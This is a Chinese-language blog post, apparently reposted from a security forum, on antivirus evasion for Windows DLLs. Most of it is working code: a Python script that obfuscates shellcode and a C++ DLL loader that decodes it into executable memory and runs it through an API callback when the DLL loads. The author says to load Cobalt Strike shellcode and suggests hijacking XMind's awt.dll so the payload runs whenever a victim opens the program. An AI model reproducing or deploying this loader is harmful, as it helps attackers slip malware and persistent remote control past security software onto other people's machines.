DLL免杀技术探讨

编程入门 行业动态 更新时间:2024-10-25 22:33:36

前言:

本文章仅用于渗透交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任

本来不打算写免杀相关的了 但是确实是忍不住想吐槽,啧啧啧,因为有一直在研究进程注入以及ring3层的bypass免杀的一些东西 因为就得去给相关的文件做免杀杀的

然后给某步提交了一些样本
提交完不管是否公开
感觉就是转手就给厂商卖钱
这里公开一个样本
给大家看看时间 样本均是登录账户提交的 均未公开
14的时候是vt全过

17号的时候 本地做测试的时候发觉被杀了就又去看了下
卡巴和360就杀了

虽然杀了就杀了吧 静态又不是特别值钱 但是被白嫖还是会有点不爽

正文:

既然已经被杀了 那就扔出来玩呗 虽然卡巴和360杀了但是其他的没有啊
现在杀的 3/65 vt 微步 2/2

原理:这个师傅的项目 把他的加密算法拿过来 然后扔dll里面改了下 自写的也有咯 但是不公开也不扔vt和微步上了
其他自写的 这些不会扔云去了 太狗了
wdf+火绒+360 感觉可能也是全过

https://github/G73st/BypassAV

代码:
生成shellcode的加载器就是这个师傅写的这个

import os,codecs
from random import shuffle

#转纯数字存储
def encrypt2(srcStr,password):
    arr = srcStr.split(',0x')
    for i in range(1,len(arr)):
        arr[i]=int(arr[i],16)
        tempStr = ""
        for index in range(len(str(arr[i]))):
            tempStr=tempStr+password[int(str(arr[i])[index])]
        arr[i]=str(len(tempStr))+tempStr
    #print(arr)
    return ''.join(arr)

#随机排列字符串
def shuffle_str(s):
    str_list = list(s)
    shuffle(str_list)
    return ''.join(str_list)

#shellcode格式转换
def str_to_hex(shellcode):
    raw = ""
    for i in range(0, len(shellcode)):
        s = hex(ord(shellcode[i])).replace("0x",',0x')
        raw = raw + s
    return raw
    
if __name__ == '__main__':
    print("""
     ____                                __      __
    |  _ \                              /\ \    / /
    | |_) |_   _ _ __   __ _ ___ ___   /  \ \  / / 
    |  _ <| | | | '_ \ / _` / __/ __| / /\ \ \/ /  
    | |_) | |_| | |_) | (_| \__ \__ \/ ____ \  /   
    |____/ \__, | .__/ \__,_|___/___/_/    \_\/    V1.0
            __/ | |                                
           |___/|_|    
    """)
    print("exp: python BypassAV.py\r\n")
    shellcode=input("输入shellcode:")
    shellcode=codecs.unicode_escape_decode(shellcode)[0]
    jm=str_to_hex(shellcode)
    #转纯数字存储
    passwd=shuffle_str('7032614895')
    jm =passwd+encrypt2(jm, passwd)
    print("\r\nshellcode加密完成\r\n")
    with open('shellcode.txt','w') as f:
        f.write(jm)
        f.close()

loader

#include "pch.h"
#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <string>
#include <algorithm>
#include <functional>


HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
using namespace std;

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
	unsigned char ss[8000];
	char str[] = "";
	string str1(str);
	string passwd1 = str1.substr(0, 10);
	string Sangfor = str1.substr(10, str1.length());
	const char* passwd2 = passwd1.data();
	const char* Shenxinfu = Sangfor.data();
	int k = 0;
	for (int i = 0; i < Sangfor.length(); i++)
	{
		int len1;
		len1 = Shenxinfu[i] - 48;
		string dange = "";
		for (int j = 0; j < len1; j++)
		{
			string a = to_string(Shenxinfu[i + j + 1] - 48);
			int a1 = passwd1.find(a);
			string a2 = to_string(a1);
			dange.append(a2);
		}
		i = i + len1;
		int dange4 = std::stoi(dange);
		ss[k] = *((char*)&dange4);
		k = k + 1;
	}
	HANDLE hAlloc = VirtualAlloc(NULL, sizeof(ss), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(hAlloc, ss, sizeof(ss));
	EnumDateFormatsA((DATEFMT_ENUMPROCA)hAlloc, LOCALE_SYSTEM_DEFAULT, (DWORD)0);
	return 0;
}

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);
		hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);

	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}
	return TRUE;
}

使用方法:

①编译
创建一个dll文件

然后代码扔进去即可

shellcode 32位的即可
cs生成即可

然后把shellcode扔进去生成生成 运行即可

②组合利用
可能有人问单独的dll做何意义 那肯定要结合其他的exe做劫持 进而bypass uac或者说是权限维持呗
这里以自己比较喜欢的xmind为例 扔一个可劫持的吧awt.dll

感兴趣的可以去复现下
劫持xmind里面的一个dll 然后当以后用户点击xmind即可完美上线

更多推荐

DLL免杀技术探讨

本文发布于:2023-06-14 08:27:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1455420.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:技术   DLL

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!